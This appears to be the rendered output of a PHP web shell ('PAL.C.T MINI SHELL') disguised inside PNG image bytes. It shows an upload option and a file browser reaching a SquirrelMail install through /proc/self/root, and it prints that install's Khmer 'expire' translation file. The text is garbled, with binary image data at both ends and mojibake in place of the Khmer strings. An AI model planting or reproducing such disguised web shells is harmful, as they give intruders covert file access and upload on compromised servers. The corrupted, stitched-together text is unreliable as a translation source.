‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/expire.po

# Khmer (km) expire Translation
# Auk Piseth <piseth_dv@khmeros.info>, 2008.
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2009.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: expire\n"
"Report-Msgid-Bugs-To: Florian Daeumling <jam@qv90.de>\n"
"POT-Creation-Date: 2006-05-13 11:09+0200\n"
"PO-Revision-Date: 2009-04-24 09:24+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: functions.php:28
#, php-format
msgid "ERROR (%s): Can't load config file"
msgstr "កំហុស (%s) ៖ មិន​អាច​ផ្ទុក​ឯកសារ​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ​បានទáŸ"

#: functions.php:49
msgid "Cannot create option directory!"
msgstr "មិនអាច​បង្កើážâ€‹ážážâ€‹áž‡áž˜áŸ’រើស​បានទáŸÂ !"

#: functions.php:50 functions.php:57 functions.php:63 functions.php:181
#: functions.php:187 functions.php:230
msgid "Please contact system administrator."
msgstr "សូម​ទាក់ទង​អ្នកគ្រប់គ្រង​ប្រពáŸáž“្ធ ។"

#: functions.php:56
msgid "Cannot create option file!"
msgstr "មិនអាច​បង្កើážâ€‹áž¯áž€ážŸáž¶ážšâ€‹áž‡áž˜áŸ’រើស !"

#: functions.php:62 functions.php:186
msgid "Cannot create temporary file!"
msgstr "មិនអាច​បង្កើážâ€‹áž¯áž€ážŸáž¶ážšâ€‹áž”ណ្ដោះ​អាសន្ន​បានទáŸÂ !"

#: functions.php:100
msgid "Expiration"
msgstr "ផុážâ€‹áž€áŸ†ážŽážáŸ‹"

#: functions.php:106 functions.php:125
msgid "Expire emails in folder"
msgstr "ផុážâ€‹áž€áŸ†ážŽážáŸ‹â€‹áž¢áŸŠáž¸áž˜áŸ‚ល​ក្នុង​សារ"

#: functions.php:108 functions.php:127
msgid "Select a folder"
msgstr "ជ្រើស​ážáž"

#: functions.php:112
msgid "after"
msgstr "បន្ទាប់"

#: functions.php:114
msgid "days"
msgstr "ážáŸ’ងៃ"

#: functions.php:118
msgid "Define"
msgstr "កំណážáŸ‹"

#: functions.php:130
#, php-format
msgid "%s after %s days"
msgstr "%s បន្ទាប់​ពី %s ážáŸ’ងៃ"

#: functions.php:135
msgid "Delete"
msgstr "លុប"

#: functions.php:143
msgid "Error"
msgstr "កំហុស"

#: functions.php:168
msgid "This folder definition cannot be modified"
msgstr "ការ​កំណážáŸ‹â€‹ážážâ€‹áž“áŸáŸ‡ មិនអាច​កែប្រែ​បានទáŸ"

#: functions.php:180
msgid "Cannot read option file!"
msgstr "មិនអាច​អាន​ឯកសារ​ជម្រើស​បាន​ទáŸÂ !"

#: functions.php:198
#, php-format
msgid "Expiration modified successfully for folder %s."
msgstr "បាន​កែប្រែ​ការ​ផុážâ€‹áž€áŸ†ážŽážáŸ‹â€‹ážŠáŸ„យ​ជោគជáŸáž™â€‹ážŸáž˜áŸ’រាប់​ážáž %s ។"

#: functions.php:211
#, php-format
msgid "Expiration deleted successfully for folder %s."
msgstr "បាន​លុប​ការ​ផុážâ€‹áž€áŸ†ážŽážáŸ‹â€‹ážŠáŸ„យ​ជោគជáŸáž™â€‹ážŸáž˜áŸ’រាប់​ážáž %s ។"

#: functions.php:220
#, php-format
msgid "Expiration set successfully for folder %s."
msgstr "បាន​​កំណážáŸ‹â€‹áž€áž¶ážšâ€‹áž•áž»ážáž€áŸ†ážŽážáŸ‹â€‹ážŠáŸ„យ​ជោគជáŸáž™â€‹ážŸáž˜áŸ’រាប់​ážáž %s ។"

#: functions.php:229
msgid "Cannot replace option file!"
msgstr "មិនអាច​ជំនួស​ឯកសារ​ជម្រើស​បានទáŸÂ !"

#: options.php:27
msgid "You have not selected a folder."
msgstr "អ្នក​មិន​បាន​ជ្រើស​ážážâ€‹áž‘áŸÂ áŸ”"

#: options.php:38
msgid "You have not entered a valid number of days."
msgstr "អ្នក​មិនបាន​បញ្ចូល​ចំនួន​ážáŸ’ងៃ​ážáŸ’រឹមážáŸ’រូវ​ទáŸÂ áŸ”"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚